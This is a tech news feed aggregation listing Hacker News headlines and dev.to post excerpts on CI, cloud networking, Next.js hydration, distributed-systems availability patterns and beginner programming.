    In today’s automotive landscape, connectivity has become a major selling point. Almost every automaker now offers Apple CarPlay as a standard feature across their model line-ups. Recently, it was reported that Tesla is finally joining the bandwagon after years of relying on its own closed ecosystem to maintain full control over the in-car experience. The […] The post Tesla Set To Introduce Apple CarPlay After Years of Resistance appeared first on Lowyat.NET.  ( 34 min )
    HONOR 500 Pro Specifications Leaked Ahead Of China Launch
    The HONOR 500 series is set to debut in its home market as the successor to the HONOR 400 lineup. As the brand steadily drops teasers for the phones, leaksters are filling in some of the details as well. Recently, tipster Digital Chat Station has shared some of the specifications of the Pro variant. In a […] The post HONOR 500 Pro Specifications Leaked Ahead Of China Launch appeared first on Lowyat.NET.  ( 35 min )

  • Open

    When UPS charged me a $684 tariff on $355 of vintage computer parts
    Comments  ( 17 min )
    When functions dissolve (2020)
    Comments  ( 6 min )
    The inconceivable types of Rust: How to make self-borrows safe (2024)
    Comments  ( 27 min )
    Blocking LLM crawlers without JavaScript
    Comments
    libwifi: an 802.11 frame parsing and generation library written in C
    Comments  ( 3 min )
    $1900 Bug Bounty to Fix the Lenovo Legion Pro 7 16IAX10H's Speakers on Linux
    Comments  ( 16 min )
    AsciiMath
    Comments  ( 4 min )
    Report: Tim Cook could step down as Apple CEO 'as soon as next year'
    Comments  ( 10 min )
    Show HN: A game where you invest into startups from history
    Comments
    AMD continues to chip away at Intel's x86 market share
    Comments  ( 114 min )
    Caffeinated coffee consumption or abstinence to reduce atrial fibrillation
    Comments
    Archimedes – A Python toolkit for hardware engineering
    Comments  ( 14 min )
    Nevada Governor's office covered up Boring Co safety violations
    Comments  ( 66 min )
    AWS Deprecates Two Dozen Services (Most of Which You've Never Heard Of)
    Comments  ( 8 min )
    The computer poetry of J. M. Coetzee's early programming career
    Comments  ( 10 min )
    Transgenerational Epigenetic Inheritance: the story of learned avoidance
    Comments  ( 12 min )
    USA Gives South Korea Green Light to Build Nuclear Submarines
    Comments  ( 20 min )
    Things that aren't doing the thing
    Comments  ( 1 min )
    FBI Director Waived Polygraph Security Screening for Three Senior Staff
    Comments  ( 24 min )
    Wrapping my head around AI wrappers
    Comments  ( 16 min )
    TiDAR: Think in Diffusion, Talk in Autoregression
    Comments  ( 3 min )
    I implemented an ISO 42001-certified AI Governance program in 6 months
    Comments
    Trellis AI (YC W24) Is Hiring: Streamline access to life-saving therapies
    Comments  ( 5 min )
    Windhawk Windows classic theme mod for Windows 11
    Comments
    The Mighty Simplex (2023)
    Comments  ( 21 min )
    Show HN: Continuous Claude – run Claude Code in a loop
    Comments  ( 24 min )
    Wealth
    Comments  ( 11 min )
    Color Spaces, Bitmaps and Pumpkins
    Comments  ( 17 min )
    Weighting an Average to Minimize Variance
    Comments  ( 5 min )
    Kodak Ran a Secret Nuclear Device in Its Basement for Decades
    Comments  ( 25 min )
    Linux on the Fujitsu Lifebook U729
    Comments  ( 3 min )
    Ancient Roman Glass Reveals a Hidden "Language"
    Comments  ( 30 min )
    How to tolerate annoying things
    Comments  ( 36 min )
    Waymo Was on a Roll in San Francisco. Then One of Its Cars Killed a Cat
    Comments
    How to write type-safe generics in C
    Comments  ( 11 min )
    Scientists now know that bees can process time, a first in insects
    Comments
    My stages of learning to be a socially normal person
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    Anukari on the CPU (part 2: CPU optimization)
    Comments  ( 30 min )
    WebAssembly from the Ground Up
    Comments  ( 3 min )
    Your Land, My Land (Offrange) – Lithium vs. Lettuce in the Imperial Valley, CA
    Comments  ( 28 min )
    Kagi Bloopers – Search Results Gone Wrong
    Comments  ( 3 min )
    Activeloop (YC S18) Is Hiring MTS(Back End)and AI Search Engineer
    Comments
    The twin probes just launched toward Mars have an Easter egg on board
    Comments  ( 9 min )
    Show HN: A tool to safely migrate GitHub Actions workflows to Ubuntu-slim runner
    Comments  ( 24 min )
    Our investigation into the suspicious pressure on Archive.today
    Comments  ( 11 min )
    One Handed Keyboard
    Comments  ( 8 min )
    NATO Ended Russia's Estonian Air Incursions
    Comments  ( 21 min )
    EyesOff: How I built a screen contact detection model
    Comments  ( 20 min )
    Spec-Driven Development: The Waterfall Strikes Back
    Comments  ( 5 min )
    Messing with Scraper Bots
    Comments  ( 7 min )
    World Othello Championship Finals
    Comments
    A graph explorer of the Epstein emails
    Comments
    The Internet Is Cool. Thank You, TCP
    Comments  ( 9 min )
    Automating rootless Docker host updates with Ansible
    Comments  ( 5 min )
    Ohm Editor
    Comments  ( 1 min )
    Adding Customizable Frame Contrast to KDE Plasma
    Comments  ( 4 min )
    So, you want to design your own language?
    Comments  ( 32 min )
    How two photographers transformed RAW photo support on Mac
    Comments  ( 11 min )
    Scientists reverse kidney damage in mice, hope for humans next
    Comments  ( 7 min )
    I can't recommend Grafana anymore
    Comments  ( 4 min )
    Meet Reservoir – The World's Smartest Water Heater
    Comments  ( 21 min )
    Theft of the Weeping Woman from the National Gallery of Victoria
    Comments
    Over-reliance on English hinders cognitive science
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    Vortex: An extensible, state of the art columnar file format
    Comments  ( 17 min )
    Samsung's 60% DRAM Price Hike Signals a New Phase of Global Memory Tightening
    Comments  ( 9 min )
    A structural regular expression engine for Rust
    Comments  ( 11 min )
    AI note-taking startup Fireflies was really two guys typing notes by hand
    Comments  ( 135 min )
    AMD GPUs Go Brrr
    Comments  ( 28 min )
    I wrote a Pong game in a 512-byte boot sector
    Comments  ( 3 min )
    Show HN: A visual guide to learning Jujutsu (JJ)
    Comments  ( 1 min )
  • Open

    Setting Up CI and Writing Tests for Another Project
    This week, I continued improving the testing setup for my Repository-Context-Packager tool and worked on adding tests to my partner’s project. This was good practice in managing project complexity using automated testing and Continuous Integration. To automate test execution, I added a GitHub Actions CI workflow. The workflow runs on every push and on every pull request. It uses an Ubuntu runner, installs a C++ compiler, builds the project and its tests, and executes all Catch2 test cases. If any test fails, the workflow stops and reports the failure in the pull request. Setting this up helped me understand how automated test pipelines work and how CI ensures the main branch never breaks. For the collaboration part of the lab, I contributed a test to my partner's Python project. Their repository was structured differently, and there wasn’t a single obvious entry point for testing, so I had to explore the package and understand how the modules were organized before writing a test. My contribution was a dynamic import test tests/test_imports.py that walks through every module under the analyzer package and confirms that each one imports correctly. The test automatically discovers all submodules using pkgutil.walk_packages, tries importing them with importlib.import_module(), and reports any failures. This ensures the package structure stays consistent and that no module contains syntax errors or missing dependencies. Working on someone else’s codebase required slowing down and reading the design closely, not just looking at individual lines. It felt closer to debugging or performing a code review, because I had to decide what the expected behavior of their modules should be before creating the test. Overall, this week strengthened my understanding of automated testing, CI workflows, and how to approach testing in unfamiliar projects.  ( 6 min )
    Contrary to JAVA, embedded in Python is the idea of Methods and Functions
    Day 70 [November 15, 2025] I need to buckle down, as I'm still lagging on day day 3 & 4 goals, "Day 3-4: Control structures (if-else, loops)", as well as day 5 (and 6) goals, "Day 5-6: Functions and modules", and Day 7 target (exercises) (Meta AI, personal communication, August 8, 2025). If I haven't covered this, I can't make progress on day 8 - 69 goals. Goals: Plotting in Python ✅ Subplots✅ Exercises✅ If ... Else Arrays For Loops Nested For Loops While Loops Exercises Creating Functions in Python - Introduction Functions with multiple return values Exercises Creating Classes in Python The init () Function Exercises Creating Python Modules Exercises Notes: Lists and Tuples Dictionaries Sets While JAVA and Python are Object-oriented Programming languages, contrary to JAVA, embedded in Python is the idea of Methods and Functions. JAVA only utilizes the idea of Methods (geeksforgeeks, 2025). Summary: References: geeksforgeeks. (2025, July 11). Difference between Method and Function in Python. https://www.geeksforgeeks.org/python/difference-method-function-python/ Halvorsen, H. (n.d.). Python. https://halvorsen.blog/documents/programming/python/python.php#python4 Santarcangelo, J. (n.d.)._ Python for data science, AI & development_ [MOOC]. Coursera. https://coursera.org/learn/python-for-applied-data-science-ai  ( 6 min )
    Coding Challenge Practice - Question 56
    The task is to implement a function that generates a Fibonacci number. The boilerplate code: function fib(n){ if (n === 0) return 0 if (n === 1) return 1 return fib(n - 1) + fib(n - 2) } The fibonacci sequence starts with ) as the 0th number, and 1 as the 1st number. Every subsequent number is a sum of the previous two. Start with two variables. One that holds the previous fibonacci number, and one that holds the next fibonacci number. let prev = 0, curr = 1 Repeatedly update them. The next number is a sum of the previous two. for(let i = 2, i <= n, i++) { let next = prev + curr } The current becomes the previous, the next becomes the current. prev = curr curr = next This is done till the desired position is reached. The final code function fib(n){ if(n < 0) return undefined; if (n === 0) return 0; if (n === 1) return 1; let prev = 0, curr = 1; for(let i = 2; i <= n; i++) { let next = prev + curr; prev = curr; curr = next; } return curr } That's all folks!  ( 6 min )
    Cloud Automation: Stop Clicking Buttons and Start Shipping Faster
    If you're still manually clicking through cloud portals to provision resources, you're working too hard. Cloud automation isn't just a nice-to-have anymore - it's the difference between shipping features quickly and spending your Friday nights babysitting deployments. Let me paint a familiar picture. You need to spin up a new environment. You log into AWS or Azure, click through a dozen screens, copy settings from production (hopefully correctly), configure networking, set up security groups, provision databases, configure monitoring, and two hours later you're done. Then someone asks you to do it again for staging. And again for the QA environment. Manual processes don't scale. They're error-prone, inconsistent, and honestly boring. You became a developer to write code, not to be a profes…  ( 11 min )
    Kiro Did It: Streamlining Comments, Structure, and Logging Using Steering Docs!
    Hi! I’m Girish, an AWS Community Builder and Cloud Tech Enthusiast, with expertise in delivering customer-focused and business-impacting cloud transformation programs of high complexity. In my previous article, I shared how I used AWS Kiro’s vibe coding feature to build a Customer Lookup API powered by API Gateway, Lambda, DynamoDB, and AWS SAM. In another article, I also talked about Kiro's hooks using a simple HelloWorld Python program. I explained how hooks can automatically update a README.md file whenever the Python code is modified. Unlike traditional IDEs, Kiro is a GenAI-enabled IDE that supports both specs-driven development and vibe coding. In addition to specs, vibe coding and Hooks, Steering Docs is another powerful feature that helps developers by streamlining Comments, Struct…  ( 9 min )
    Troubleshooting Real-World Network Outages in Microsoft Azure
    Network outages in Azure can be stressful. One minute everything's running smoothly, the next you're getting alerts that your application is unreachable. I've been through enough of these incidents to know that having a systematic approach makes all the difference between panic and resolution. Picture this: your monitoring alerts are going off, your application isn't responding, and you need to figure out what's wrong. Fast. Azure's network stack is powerful but complex, with virtual networks, subnets, network security groups, route tables, and service endpoints all playing together. When something breaks, knowing where to look is half the battle. Before diving into Azure-specific tools, verify the obvious stuff. I know it sounds basic, but I've seen too many incidents where we skipped thi…  ( 10 min )
    Day 12 of Django Learning
    Today marks one of the most important milestones in my Django journey — I finally completed my first fully working app: a To-Do List! 🎉 It took me quite a few challenging days, debugging loops, fixing URLs, understanding instance logic, and a lot of trial & error… 🔍 Debugging the Template Error — The Turning Point I wanted to finish the last missing feature: editing a task. At first, I thought: My brain tends to freeze a little now whenever an error appears 😅 — and I keep forgetting to take screenshots for my whiteboard. Google helped… StackOverflow helped even more… 🧠 The Real Fix — Understanding Forms, IDs & Instances After confirming that my URL was fine, I checked views.py — everything looked correct. ➡️ My new edit.html file didn’t have a form. And then came today’s biggest learning: ⭐ The concept of instance in Django forms This one clicked hard. This was the missing piece. A genuine “YESSS!” moment. 🎨 What’s Next? My app is functional now… but not yet pretty 😄 Improve the UI/UX using Bootstrap Deploy my first Django app Celebrate my first baby steps toward becoming a Django developer 🤔 Curiosity Corner What were your thoughts when you completed your first app? 🙏 Thank You! To everyone who has been supporting me in this journey — your comments, tips, and encouragement mean a lot.  ( 7 min )
    Azure vs OCI Load Balancers & Traffic Routing: What Actually Matters
    Azure vs OCI Load Balancers & Traffic Routing: What Actually Matters Load balancers are one of those things everyone uses but nobody really thinks about until something breaks or the bill arrives. I've been working with both Azure and OCI load balancers for different projects, and the approaches are different enough that it's worth getting into the weeds. Let's start with what you're actually choosing from, because both clouds have multiple load balancing services and the naming isn't always helpful. Azure gives you: Azure Load Balancer (L4, regional) Azure Application Gateway (L7, regional, includes WAF) Azure Front Door (L7, global, CDN + routing) Traffic Manager (DNS-based global routing) Cross-region Load Balancer (preview/GA depending on when you read this) OCI gives you: Load Balan…  ( 14 min )
    Microsoft Azure vs OCI Networking: A Deep Dive
    Microsoft Azure vs OCI Networking: A Deep Dive So you're evaluating cloud providers and you've gotten past the usual suspects. Azure's everywhere, obviously, but Oracle Cloud Infrastructure keeps popping up in conversations, especially when people talk about networking performance and cost. I spent the last few months working with both platforms pretty heavily, and honestly, the networking models are different enough that it's worth digging into the details. This is the thing that hit me first. Azure and OCI approach networking from fundamentally different philosophies, and once you understand that, everything else makes more sense. Azure feels like it evolved. Because it did. You've got Virtual Networks (VNets), but then you've also got Classic VNets (deprecated but still haunting docum…  ( 11 min )
    🧪 Test Post - Dev.to API Integration Test
    🚀 Testing Dev.to API Integration This is a test post to verify the Dev.to API integration is working correctly. ✅ API authentication ✅ Article creation ✅ Markdown formatting ✅ Publishing capability Python 3 Dev.to API Flask If you're seeing this, the integration is working! 🎉 This is an automated test post. You can safely delete it. testing #devto #api  ( 6 min )
    Network Resilience & Routing Reliability: Lessons from Real-World Cloud Systems
    Network Resilience & Routing Reliability: Lessons from Real-World Cloud Systems So what is network resilience really? Has redundant paths If your network depends on humans reacting to alarms, it's not resilient. It's reactive. Routing reliability: the underrated hero Traffic always takes a healthy path Cloud networks run millions of flows per second. What resilient networks look like (based on real systems) Multiple equal-cost paths everywhere Most modern networks (AWS, OCI, GCP, Azure) use ECMP so traffic can be instantly redistributed if a link dies. This gives you: Higher throughput When one path fails, traffic shifts without waiting for a human. Fast, sub-second failure detection Protocols like BGP/OSPF aren't fast enough out of the box. So you add: BFD (Bidirectional Forwarding Detect…  ( 8 min )
    What CodeSphere Agency is upto lately.....?
    🚀 Our 10-Month Journey at Codesphere Agency: From Zero Clients to a Growing Portfolio Hello everyone! I’m Hasnain Makada, Founder & CEO of Codesphere Agency — where we help businesses identify bottlenecks, streamline operations, and build reliable, sustainable digital solutions. Today, I want to share a personal chapter of our journey — something raw, real, and hopefully motivating for anyone building something from scratch. When we launched Codesphere around 10 months ago, we were full of energy, ideas, and ambition. But what we didn’t expect was the silence. For three months, we didn’t get a single client. Not one. Our team was constantly sending cold emails, refining messaging, researching leads, and doing every form of outreach we could think of. And still — barely any traction. T…  ( 7 min )
    What is Hydration in Next.js ⚠️?
    When you use Next.js, the page render twice: On the Server Side (SSR) :- In this process HTML is generated. On the Client (Browser):- React hydrates that HTML and attaches the event listeners. Think of hydration as: “React wakes up the static HTML and converts it into an interactive app.” For hydration to work, the HTML that the server generates must match the HTML that React generates in the browser. If they don’t match → Next.js throws a hydration error. Eg:- Server generated HTML = A Reason - Why Does This Happen? 1.Using browser-only APIs during SSR:- const width = window.innerWidth; 2.Using Date, Math.random(), or dynamic values during render:- Server timestamp ≠ client timestamp → mismatch. {Date.now()} } 4.Fetching data differently on server and client:- You might accidentally: Fetch server-side once Fetch client-side again with a different result This changes HTML → mismatch. How to Fix Hydration Issues? 1.Wrap client-only code inside useEffect:- Anything using window, document, localStorage: const [width, setWidth] = useState(null); useEffect(() => { setWidth(window.innerWidth); }, []); Server renders nothing → client fills it later. 2.Avoid Date.now() or Math.random() directly in render:- Use useEffect or calculate once. const [time, setTime] = useState(null); useEffect(() => setTime(Date.now()), []); 3.Use dynamic import for client-only components:- Example: charts, maps, heavy UI. const Chart = dynamic(() => import("../Chart"), { ssr: false }); Now the component loads only on client → no mismatch. 4.Make sure data is consistent between server and client:- Use server-only fetching (app router) or React Query with proper hydration. Hydration errors happen when the HTML React expects in the browser doesn’t match the HTML generated by Next.js on the server.  ( 7 min )
    Availability — Throttling (1)
    "the "PLEASE CHILL” Pattern your services desperately need" Imagine your service is a tiny café. Most days it’s fine. A few customers, some coffee orders, a little latency but nothing dramatic. Then one day you get featured on Hacker News. Suddenly 10,000 people show up, all yelling GET /coffee at the same time. Options: You try to serve everyone → kitchen melts, nobody gets coffee. You shut the door and deny everyone → users rage, business dies. You let people in at a controlled rate → some wait, some get “come back later,” the kitchen keeps working. That third one is throttling. In distributed systems, throttling is how we tell clients: “You’re not wrong, you’re just early.” Let’s unpack what throttling really is, how it differs from plain rate limiting, and how to design it cleanly in …  ( 9 min )
    ComfyDeploy Local Development Setup Guide
    Getting ComfyDeploy running locally is a bunch of work; but is a dream, and a good helpful one; in which you gotta spend all your weekend just to get things running... By completing this guide, you'll gain hands-on experience with: Full-Stack Development: 🚀 Modern Web Stack: React/Vite frontend + Python FastAPI backend Database Management: PostgreSQL with Drizzle ORM, schema design, and migrations Authentication: Clerk integration with JWT validation Billing & Subscriptions: Autumn API for SaaS monetization and feature limits Containerization: Docker Compose for local development infrastructure Cloud & Serverless Architecture: Serverless Computing: Deploy GPU-accelerated Python functions with Modal Persistent Storage: Modal volumes for model storage and file management Cloud Storage: AW…  ( 26 min )
    Responsive Images in HTML
    In a world where a large portion of traffic comes from mobile devices, making your images responsive is essential for delivering a great user experience. Poorly sized images can break layouts, waste bandwidth, and even harm your page performance. In this post, you’ll learn what responsive images are, why they matter, and how to implement them in HTML using modern best practices. Responsive images are images that automatically adjust to the size of the screen or the element they’re placed in. This ensures that the image: Doesn’t overflow the layout Scales proportionally Improves loading on different devices Avoids unnecessary bandwidth usage The most basic yet very effective way to make an image responsive is through CSS: img { max-width: 1…  ( 8 min )
    Google Maps vs Yelp vs Apollo: Which Has Better B2B Data?
    I tested all three major B2B data sources by scraping 1,000 records from each. Here's what I found about data quality, accuracy, and which one to use for what. Goal: Find 1,000 valid B2B leads in the "marketing agency" niche Sources tested: Google Maps (local businesses) Yelp (reviewed businesses) Apollo (business database) What I measured: Email deliverability rate Phone number accuracy Company data completeness Duplicates between sources What you get: Business name, address, phone Category/industry tags Hours of operation Website URL Review count and rating Email data: ❌ Not included (need separate email finder) Phone accuracy: 92% based on testing 100 random calls Best for: Local service businesses, brick-and-mortar, regional targeting Quality issues I found: 8% of phone numbers were d…  ( 7 min )
    Availability - Heartbeats (2)
    We introduced heartbeats as periodic "I'm alive" messages in distributed systems, unpacked how they support failure detection and cluster membership, and compared different heartbeat topologies: centralized monitors, peer-to-peer checks, and gossip-based designs. Recap Heartbeats Are More Than "I'm Alive" Current load (CPU, memory, request rate) Version or build hash (for safe rolling deployments) Epoch/term info (for consensus / leader election) Shard ownership or partition state Examples in real systems: Load balancers: health checks may include not just "HTTP 200" but also whether the instance is overloaded. Kubernetes: readiness and liveness probes gate scheduling/traffic. The kubelet periodically reports node status to the control plane. Consensus protocols: Raft leaders send periodic…  ( 9 min )
    Let's create a production grade REST API from an existing database or from scratch using Go in seconds
    How to create a REST API in seconds Nicolas Bonnici ・ Nov 15 #howto #api #rest #go  ( 5 min )
    Availability — Heartbeats (1)
    Picture this: you’re on-call, it’s 3 a.m., and a cluster node silently dies. No crash loop. No helpful logs. Just… absence. In a distributed system, absence is deadly. A single node going missing can stall leader election, corrupt data, or make your clients hang indefinitely. You don’t get stack traces from a dead machine. You just get silence. Heartbeats are how we turn that silence into a signal. They’re stupidly simple — tiny “I’m alive” messages — but they sit right in the critical path of availability, failover, and system correctness. Let’s walk through them like system designers, not checkbox-monitoring enjoyers. What is a Heartbeat, Really? “I’m still here, and I’m (probably) fine.” It might be a UDP packet, an HTTP request, a gRPC call, or even a row update in a database table. Th…  ( 9 min )
    Temporal State Coordination: A Timeline of a Timeline
    Long, long ago, back when they were relatively new, I decided to have a go at writing a DOM animation library. I called it 'Twixt'. Between, tween, betwixt... I know, right? It didn't matter. It was only for personal use. The existing libraries left me unsatisfied in some way or other, and CSS transition was so new and incomplete it was still vendor-prefixed, if memory serves. It followed principles that I appreciated more back then than I do today, of declarative code; clean, descriptive objects that tell the engine what I want to animate, and how. It suited me as a hobbyist, more interested in solving problems than finding and applying what exists. The original wheel was terrible. As with any animation library, I'd give it the information it needs. Element, property, from, to, duration. …  ( 9 min )
    Quantum-Inspired Encoding: Revolutionizing Reinforcement Learning with Scarce Data
    Quantum-Inspired Encoding: Revolutionizing Reinforcement Learning with Scarce Data Imagine training an AI to perform life-saving surgery, but you only have a handful of successful procedures to learn from. Or designing a new drug with limited patient data. These are the realities of reinforcement learning (RL) in fields where data is expensive or dangerous to acquire. How can we unlock breakthroughs when experiments are limited, and traditional RL algorithms struggle? The answer lies in reimagining how we represent the problem. Instead of directly feeding states and rewards into the RL algorithm, we can use a quantum-inspired metric encoder to create a more compact and meaningful representation of the data. This encoder, inspired by quantum circuit architectures, transforms the original …  ( 7 min )
    Brand Tagging with VLMs
    TL;DR Build a two-stage logo pipeline: Retrieval - generate image embeddings for small crops and match against a logo dictionary with FAISS cosine search. Use SigLIP-2 (NaFlex) so logos are not distorted and small marks still pop. Verification - for top matches, ask LLaVA-OneVision-1.5 a strict JSON question ("Is this the X logo?") and accept only high-confidence "yes". It's a good model sir. A bit longer post this time around. Brand tagging in real-world video is hard: logos are tiny, partly occluded, moving, and often appear on textured backgrounds. A practical approach is a two-stage pipeline: First retrieve likely logo crops with a fast contrastive image encoder. Then verify each candidate with a vision-language model (VLM) that can read text and reason about shapes and context…  ( 14 min )
    Building a simple RAG system in PHP with the Neuron AI framework in one evening
    RAG (Retrieval-Augmented Generation) is an AI method that combines a large language model (LLM) with an external knowledge base to produce more accurate, context-aware answers. The idea is simple: first we retrieve relevant information from documents or data sources, then we pass this information to an LLM to generate the final response. Today, we’ll look at how to build a basic RAG system in PHP (yes, really!) using the Neuron AI framework. This will be a small proof-of-concept: minimal, but fully functional. Ready to generate something useful? In short: RAG helps an AI system avoid guessing by fetching real data before generating an answer. The classical flow has two steps: Retrieval — find relevant document chunks using vector search. Generation — create an answer using the retrieved da…  ( 12 min )
    Availability — Queue Based Load Leveling
    “When spikes hit, don’t blast though — buffer, decouple, control” In distributed systems, you’ll often face a familiar tension: the rate at which requests arrive can wildly overshoot the rate at which your services can safely process them. If you simply funnel every request directly through, you risk collapsing under load, triggering timeouts, throttling, cascading failures. The Queue-Based Load Leveling Pattern offers a neat, reliable way to mitigate that risk, by inserting a buffer between “incoming chaos” and “steady processing”. Queue-based load leveling inserts a durable queue between the component that generates work and the component that processes it. Producers include anything that initiates work — client traffic, upstream microservices, scheduled jobs, or event streams. Instead …  ( 12 min )
    GitHub Actions in Your JetBrains IDE
    Your browser does not support the video tag. If you’re like most developers using GitHub Actions, your day probably looks something like this: Push code → flip to the browser → open the Actions tab → click the right workflow → wait → scroll logs → flip back to the IDE → fix something → repeat. It works… but it’s noisy, slow, and full of context switching. Your code is in JetBrains; your CI is in a browser tab. You’re constantly bouncing between them. At some point I realized: why am I treating CI as a separate destination instead of something that lives right next to my code? That question led me to build Actionate, a JetBrains plugin that brings GitHub Actions into your IDE. In this post I’ll walk through: Why this browser-based workflow is so costly What an “ideal” GitHub Actions + Jet…  ( 15 min )
    "Building NecroOS: A Haunted Windows 95 Simulator with Kiro AI"
    # Building NecroOS: A Haunted Windows 95 Simulator with Kiro AI What if your computer was haunted? Not just buggy—actually possessed. That 2 AM thought turned into NecroOS, a horror game disguised as a Windows 95 desktop simulator. And I built it using Kiro AI's spec-driven development workflow. NecroOS starts as a comforting Windows 95 desktop—teal wallpaper, chunky pixels, satisfying clicks. But gradually, subtly, things go wrong. Your cursor drifts. The calculator gives you 2+2=5. Files appear in folders you just emptied. The horror isn't in-your-face—it's the creeping dread of familiar technology betraying you. Live Demo: necro-os.vercel.app Source Code: github.com/AstaadDahiya/Necro-OS Vue 3 + Pinia for reactive state management Google Gemini AI (2.5 Flash) for Cursed Clippy, Spiri…  ( 10 min )
    Responsables de cumplimiento en México, es hora de adoptar t
    Responsables de cumplimiento en México, es hora de adoptar tecnologías innovadoras para mejorar la eficiencia y eficacia en la prevención de lavado de dinero y financiamiento del terrorismo. Un tip práctico que podemos compartir es la automatización de cumplimiento utilizando plataformas de inteligencia artificial (IA) y aprendizaje automático (ML). Esto puede incluir la detección de transacciones sospechosas, análisis de riesgo y seguimiento de cumplimiento. En particular, queremos destacar TarantulaHawk.ai, una plataforma SaaS de PLD (Prevención de Lavado de Dinero) con IA que ofrece soluciones innovadoras para empresas y finanzas en México. Con TarantulaHawk.ai, los responsables de cumplimiento pueden: Automatizar la detección de transacciones sospechosas con IA y ML, lo que mejora la eficacia y agilidad en la prevención de lavado de dinero. Analizar riesgos de manera oportuna y precisa, lo que reduce la complejidad y la incertidumbre en la toma de decisiones. Seguir el cumplimiento de normas y regulaciones con trazabilidad y auditorias, lo que garantiza la transparencia y el rendimiento. La implementación de TarantulaHawk.ai no solo mejora la eficiencia y eficacia en la prevención de lavado de dinero, sino que también reduce la carga administrativa y la complejidad para los responsables de cumplimiento. Recuerden que la prevención de lavado de dinero y financiamiento del terrorismo es un deber para todas las empresas y finanzas en México. La tecnología IA y ML pueden ser una herramienta valiosa en esta misión. ¡Aprovechen la oportunidad de mejorar su cumplimiento con TarantulaHawk.ai! Publicado automáticamente con IA/ML.  ( 6 min )
    XCS iPad App Beta 2 Unleashed: Enhanced Productivity with Wi-Fi, SVG, and File Previews
    XCS iPad App Beta 2 Unleashed: Enhanced Productivity with Wi-Fi, SVG, and File Previews The digital creative landscape is constantly evolving, with mobile devices playing an increasingly central role in professional workflows. In this dynamic environment, applications that bridge the gap between powerful desktop capabilities and intuitive mobile interaction are invaluable. It is with great excitement that we announce the release of the XCS app's Beta 2 for iPad, a significant update poised to redefine mobile productivity for designers, developers, and creators alike. This latest iteration is not merely an incremental patch; it's a robust enhancement packed with features designed to streamline operations, improve collaboration, and unlock new creative possibilities. The XCS team has diligen…  ( 9 min )
    Service Desk Framework - Reduced tickets 80% in 6 months
    I built this framework after managing one of those "hot potato" product areas nobody wants - a Core Platform team drowning in 100+ service desk tickets. Years of chaos. Then 6 months of building systems. Result: 20 tickets, sustainable operations. The Problem: What Actually Worked: Root cause analysis sessions (weekly) Engineer rotation system (capacity protection) Documentation-first culture Prevention mechanisms Proactive monitoring Stakeholder education The Framework: 4-stage maturity model (diagnostic to find where you are) Interactive health scorecard Implementation overview Real transformation metrics (100→20 tickets, 80% reduction) Sharing it free because I couldn't find resources like this when I was drowning: [Gumroad link] My Question for the Dev Community: Engineering capacity getting eaten by support Lack of clear systems/processes Stakeholder management Something else? Would love to hear what's actually painful for you.  ( 6 min )
    **La importancia de la detección temprana de riesgos en fint
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    Ortogonalidade: O Caminho para Sistemas de Software Eficientes
    O Pesadelo do Desenvolvedor Júnior Imagine o seguinte: Você acabou de entrar em um novo projeto e precisa adicionar uma funcionalidade simples, por exemplo, um campo extra na tela de cadastro de usuários. Você faz a alteração em uma classe, mas o sistema começa a falhar em três outras áreas não relacionadas (o módulo de relatórios, o envio de e-mail e a validação de estoque). Pergunta: Qual princípio de design de software foi violado, causando esse efeito dominó? Se você não soube responder imediatamente qual dos conceitos (Acoplamento ou Coesão) é o principal culpado, este artigo é para você. A resposta está na Ortogonalidade. Em programação, o princípio da Ortogonalidade significa que componentes não relacionados de um sistema devem ser independentes uns dos outros. Em um sistema ortog…  ( 8 min )
    **Autonomous Systems to Revolutionize Environmental Conserva
    Autonomous Systems to Revolutionize Environmental Conservation: A New Frontier As we stand on the cusp of 2026, I predict that autonomous systems will play a pivotal role in the conservation of our planet's precious ecosystems, particularly in the realm of marine conservation. Within the next two years, we will witness the widespread adoption of autonomous underwater vehicles (AUVs) and artificial intelligence (AI) algorithms that will help monitor, protect, and restore marine habitats on an unprecedented scale. The reasoning behind this prediction lies in the convergence of several factors: (1) the growing concern of marine pollution and overfishing, which poses a significant threat to global food security and biodiversity; (2) the advancements in AUV technology, which allow for the deplo…  ( 7 min )
    Ringer Movies: ‘Snake Eyes’ With Bill Simmons, Sean Fennessey, and Van Lathan | Ringer Movies
    ‘Snake Eyes’ Deep Dive on Ringer Movies Bill Simmons, Sean Fennessey, and Van Lathan reunite to rewatch Brian De Palma’s 1998 thriller Snake Eyes, starring Nic Cage, Gary Sinise, and Carla Gugino. They unpack De Palma’s signature tracking shots, dissect the movie’s twisty plot set in Atlantic City, and trade hot takes on why this noir-ish gem still deserves attention nearly 25 years later. Watch on YouTube  ( 6 min )
    Ringer Movies: What Happened With the Fall Movie Slate?
    Sean and Amanda team up with Van Lathan to commiserate over a fall movie lineup that’s sputtered both at the box office and in critics’ eyes. They kick things off with Edgar Wright’s new actioner The Running Man, calling it a gloriously messy beast thanks to some jaw-dropping set pieces, then switch gears to the legacy-sequel Now You See Me: Now You Don’t, where Jesse Eisenberg, Dave Franco and Rosamund Pike’s diamond-heiress baddie spark fun heist vibes and a guessing game about its financial fate. In the final act, Edgar Wright hops on to chat about the changing face of studio filmmaking, his step-by-step approach to crafting elaborate action sequences, and the amusing behind-the-scenes story of how Glen Powell scored the starring role. Watch on YouTube  ( 6 min )
    I Stopped Recording Voiceovers for My Tech YouTube Channel. Here's What Happened.
    My biggest bottleneck for creating YouTube videos wasn't the code, the editing, or even the ideas. It was my own voice. I'd spend hours recording, hating the sound of it, doing endless retakes, and feeling like an imposter. It was burning me out. Then I went down a rabbit hole: AI voice generators. I always assumed they sounded robotic, like a 2005-era GPS. I was completely wrong. The technology has gotten so good that some AI voices are nearly indistinguishable from human narration. After trying over a dozen tools, I found a handful that were perfect for creating professional, high-quality voiceovers for my coding tutorials and tech reviews. My productivity skyrocketed. I could create the audio for a 10-minute video in about 15 minutes, with zero stress. This is a complete game-changer for developers and content creators. I put together a full breakdown of the 5 best tools I found—the ones that are actually worth your time. ➡️ The 5 Best AI Voice Generators for YouTube (2025 Review) Is using AI for voiceovers cheating, or is it just the smart way to work? Let me know your thoughts below. 👇  ( 6 min )
    Why Your Snowflake Bill is High and How to Fix It with a Hybrid Approach
